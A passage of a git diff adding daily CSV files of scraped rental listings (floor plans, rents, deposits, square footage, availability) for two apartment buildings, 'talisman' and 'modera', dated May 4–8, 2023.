sq.ft.,None,N/A +20230504,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230504,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230504,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230504,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230504,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230504,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230504,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230504,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230504,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,917",$300,785 - 852 sq.ft.,None,N/A +20230504,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230504,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230504,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230504,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,027",$300,906 - 930 sq.ft.,None,N/A +20230504,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230504,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230504,talisman,C2 (2x2),2 Bed 2 Bath,"$3,090",$300,1088 - 1243 sq.ft.,None,N/A +20230504,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230504,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230504,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230504,talisman,C3 (2x2),2 Bed 2 Bath,"$2,910",$300,1010 - 1103 sq.ft.,None,N/A +20230504,talisman,C1 (2x2),2 Bed 2 Bath,"$3,205",$300,1029 - 1294 sq.ft.,None,N/A +20230504,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230504,talisman,C7 (2x2),2 Bed 2 Bath,"$2,955",$300,1074 - 1131 sq.ft.,None,N/A +20230504,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230504,talisman,C8 (2x2),2 Bed 2 Bath,"$3,055",$300,1155 sq.ft.,None,N/A +20230504,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230504,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230504,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230504,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230504,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230504,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230504,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230504,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230504,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230504,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230504,modera,S01,Studio / 1 ba,"Starting from $1,929/month",$300,477+,/,"Available May 13, 2023" +20230504,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 09, 2023" +20230504,modera,S02,Studio / 1 ba,"Starting from $2,085/month",$300,498+,/,"Available May 09, 2023" +20230504,modera,A09,1 bd/1 ba,"Starting from $2,325/month",$300,640,/,Only One Left! +20230504,modera,A10,1 bd/1 ba,"Starting from $2,625/month",$300,672+,/,"Available May 11, 2023" +20230504,modera,A16D,1 bd/1 ba,"Starting from $2,573/month",$300,882,/,Only One Left! +20230504,modera,B03,2 bd/2 ba,"Starting from $3,363/month",$300,"1,039+",/,"Available May 14, 2023" +20230504,modera,B07,2 bd/2 ba,"Starting from $3,424/month",$300,"1,233",/,"Available May 17, 2023" +20230504,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 09, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230505.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230505.csv new file mode 100644 index 00000000000..9fe9def5f57 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230505.csv @@ -0,0 +1,54 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230505,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230505,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230505,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230505,talisman,A1 (1x1),1 Bed 1 Bath,"$1,969",$300,604 - 671 sq.ft.,None,N/A +20230505,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230505,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230505,talisman,A2 (1x1),1 Bed 1 Bath,"$1,969",$300,617 - 715 sq.ft.,None,N/A +20230505,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230505,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230505,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230505,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230505,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230505,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230505,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230505,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230505,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230505,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230505,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,009",$300,785 - 852 sq.ft.,None,N/A +20230505,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230505,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230505,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230505,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,119",$300,906 - 930 sq.ft.,None,N/A +20230505,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230505,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230505,talisman,C2 (2x2),2 Bed 2 Bath,"$3,090",$300,1088 - 1243 sq.ft.,None,N/A +20230505,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230505,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230505,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230505,talisman,C3 (2x2),2 Bed 2 Bath,"$2,910",$300,1010 - 1103 sq.ft.,None,N/A +20230505,talisman,C1 (2x2),2 Bed 2 Bath,"$3,205",$300,1029 - 1294 sq.ft.,None,N/A +20230505,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230505,talisman,C7 (2x2),2 Bed 2 Bath,"$2,955",$300,1074 - 1131 sq.ft.,None,N/A +20230505,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230505,talisman,C8 (2x2),2 Bed 2 Bath,"$3,055",$300,1155 sq.ft.,None,N/A +20230505,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230505,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230505,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230505,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230505,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230505,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230505,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230505,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230505,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230505,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230505,modera,S01,Studio / 1 ba,"Starting from $1,929/month",$300,477+,/,"Available May 13, 2023" +20230505,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 13, 2023" +20230505,modera,S02,Studio / 1 ba,"Starting from $2,085/month",$300,498+,/,"Available May 13, 2023" +20230505,modera,A09,1 bd/1 ba,"$2,325/month",$300,640,/,"Available May 10, 2023" +20230505,modera,A10,1 bd/1 ba,"$2,625/month",$300,672+,/,"Available May 11, 2023" +20230505,modera,A16D,1 bd/1 ba,"Starting from $2,564/month",$300,882,/,Only One Left! +20230505,modera,B03,2 bd/2 ba,"Starting from $3,323/month",$300,"1,039+",/,"Available May 14, 2023" +20230505,modera,B07,2 bd/2 ba,"Starting from $3,408/month",$300,"1,233",/,"Available May 17, 2023" +20230505,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 13, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230506.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230506.csv new file mode 100644 index 00000000000..26b6063b279 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230506.csv @@ -0,0 +1,54 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230506,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230506,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230506,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230506,talisman,A1 (1x1),1 Bed 1 Bath,"$2,054",$300,604 - 671 sq.ft.,None,N/A +20230506,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230506,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230506,talisman,A2 (1x1),1 Bed 1 Bath,"$2,029",$300,617 - 715 sq.ft.,None,N/A +20230506,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230506,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230506,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230506,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230506,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230506,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230506,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230506,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230506,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230506,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230506,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,019",$300,785 - 852 sq.ft.,None,N/A +20230506,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230506,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230506,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230506,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,129",$300,906 - 930 sq.ft.,None,N/A +20230506,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230506,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230506,talisman,C2 (2x2),2 Bed 2 Bath,"$3,090",$300,1088 - 1243 sq.ft.,None,N/A +20230506,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230506,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230506,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230506,talisman,C3 (2x2),2 Bed 2 Bath,"$2,910",$300,1010 - 1103 sq.ft.,None,N/A +20230506,talisman,C1 (2x2),2 Bed 2 Bath,"$3,205",$300,1029 - 1294 sq.ft.,None,N/A +20230506,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230506,talisman,C7 (2x2),2 Bed 2 Bath,"$2,955",$300,1074 - 1131 sq.ft.,None,N/A +20230506,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230506,talisman,C8 (2x2),2 Bed 2 Bath,"$3,055",$300,1155 sq.ft.,None,N/A +20230506,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230506,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230506,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230506,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230506,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230506,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230506,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230506,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230506,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230506,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230506,modera,S01,Studio / 1 ba,"Starting from $1,949/month",$300,477+,/,"Available May 19, 2023" +20230506,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 13, 2023" +20230506,modera,S02,Studio / 1 ba,"Starting from $2,085/month",$300,498+,/,"Available May 13, 2023" +20230506,modera,A09,1 bd/1 ba,"$2,325/month",$300,640,/,"Available May 10, 2023" +20230506,modera,A10,1 bd/1 ba,"$2,625/month",$300,672+,/,"Available May 11, 2023" +20230506,modera,A16D,1 bd/1 ba,"Starting from $2,556/month",$300,882,/,Only One Left! +20230506,modera,B03,2 bd/2 ba,"Starting from $3,323/month",$300,"1,039+",/,"Available May 14, 2023" +20230506,modera,B07,2 bd/2 ba,"Starting from $3,408/month",$300,"1,233",/,"Available May 17, 2023" +20230506,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 13, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230507.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230507.csv new file mode 100644 index 00000000000..50c34713dfa --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230507.csv @@ -0,0 +1,54 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230507,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230507,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230507,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230507,talisman,A1 (1x1),1 Bed 1 Bath,"$2,054",$300,604 - 671 sq.ft.,None,N/A +20230507,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230507,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230507,talisman,A2 (1x1),1 Bed 1 Bath,"$2,029",$300,617 - 715 sq.ft.,None,N/A +20230507,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230507,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230507,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230507,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230507,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230507,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230507,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230507,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230507,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230507,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230507,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,019",$300,785 - 852 sq.ft.,None,N/A +20230507,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230507,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230507,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230507,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,129",$300,906 - 930 sq.ft.,None,N/A +20230507,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230507,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230507,talisman,C2 (2x2),2 Bed 2 Bath,"$3,090",$300,1088 - 1243 sq.ft.,None,N/A +20230507,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230507,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230507,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230507,talisman,C3 (2x2),2 Bed 2 Bath,"$2,910",$300,1010 - 1103 sq.ft.,None,N/A +20230507,talisman,C1 (2x2),2 Bed 2 Bath,"$3,205",$300,1029 - 1294 sq.ft.,None,N/A +20230507,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230507,talisman,C7 (2x2),2 Bed 2 Bath,"$2,955",$300,1074 - 1131 sq.ft.,None,N/A +20230507,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230507,talisman,C8 (2x2),2 Bed 2 Bath,"$3,055",$300,1155 sq.ft.,None,N/A +20230507,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230507,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230507,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230507,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230507,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230507,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230507,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230507,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230507,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230507,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230507,modera,S01,Studio / 1 ba,"Starting from $1,949/month",$300,477+,/,"Available May 19, 2023" +20230507,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 13, 2023" +20230507,modera,S02,Studio / 1 ba,"Starting from $2,085/month",$300,498+,/,"Available May 13, 2023" +20230507,modera,A09,1 bd/1 ba,"$2,325/month",$300,640,/,"Available May 10, 2023" +20230507,modera,A10,1 bd/1 ba,"$2,625/month",$300,672+,/,"Available May 11, 2023" +20230507,modera,A16D,1 bd/1 ba,"Starting from $2,544/month",$300,882,/,Only One Left! +20230507,modera,B03,2 bd/2 ba,"Starting from $3,323/month",$300,"1,039+",/,"Available May 14, 2023" +20230507,modera,B07,2 bd/2 ba,"Starting from $3,408/month",$300,"1,233",/,"Available May 17, 2023" +20230507,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 13, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230508.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230508.csv new file mode 100644 index 00000000000..480985a54ef --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230508.csv @@ -0,0 +1,54 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230508,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230508,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230508,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230508,talisman,A1 (1x1),1 Bed 1 Bath,"$2,153",$300,604 - 671 sq.ft.,None,N/A +20230508,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230508,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230508,talisman,A2 (1x1),1 Bed 1 Bath,"$2,128",$300,617 - 715 sq.ft.,None,N/A +20230508,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230508,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230508,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230508,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230508,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230508,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230508,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230508,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230508,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230508,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230508,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,019",$300,785 - 852 sq.ft.,None,N/A +20230508,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230508,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230508,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230508,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,129",$300,906 - 930 sq.ft.,None,N/A +20230508,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230508,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230508,talisman,C2 (2x2),2 Bed 2 Bath,"$3,090",$300,1088 - 1243 sq.ft.,None,N/A +20230508,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230508,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230508,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230508,talisman,C3 (2x2),2 Bed 2 Bath,"$2,910",$300,1010 - 1103 sq.ft.,None,N/A +20230508,talisman,C1 (2x2),2 Bed 2 Bath,"$3,205",$300,1029 - 1294 sq.ft.,None,N/A +20230508,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230508,talisman,C7 (2x2),2 Bed 2 Bath,"$2,955",$300,1074 - 1131 sq.ft.,None,N/A +20230508,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230508,talisman,C8 (2x2),2 Bed 2 Bath,"$3,055",$300,1155 sq.ft.,None,N/A +20230508,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230508,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230508,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230508,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230508,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230508,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230508,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230508,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230508,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230508,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230508,modera,S01,Studio / 1 ba,"Starting from $1,949/month",$300,477+,/,"Available May 19, 2023" +20230508,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 13, 2023" +20230508,modera,S02,Studio / 1 ba,"Starting from $2,085/month",$300,498+,/,"Available May 16, 2023" +20230508,modera,A09,1 bd/1 ba,"$2,325/month",$300,640,/,"Available May 10, 2023" +20230508,modera,A10,1 bd/1 ba,"$2,625/month",$300,672+,/,"Available May 16, 2023" +20230508,modera,A16D,1 bd/1 ba,"Starting from $2,535/month",$300,882,/,Only One Left! +20230508,modera,B03,2 bd/2 ba,"Starting from $3,399/month",$300,"1,039+",/,"Available May 14, 2023" +20230508,modera,B07,2 bd/2 ba,"Starting from $3,484/month",$300,"1,233",/,"Available May 24, 2023" +20230508,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 13, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230509.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230509.csv new file mode 100644 index 00000000000..6e3c6095ac7 --- /dev/null +++ 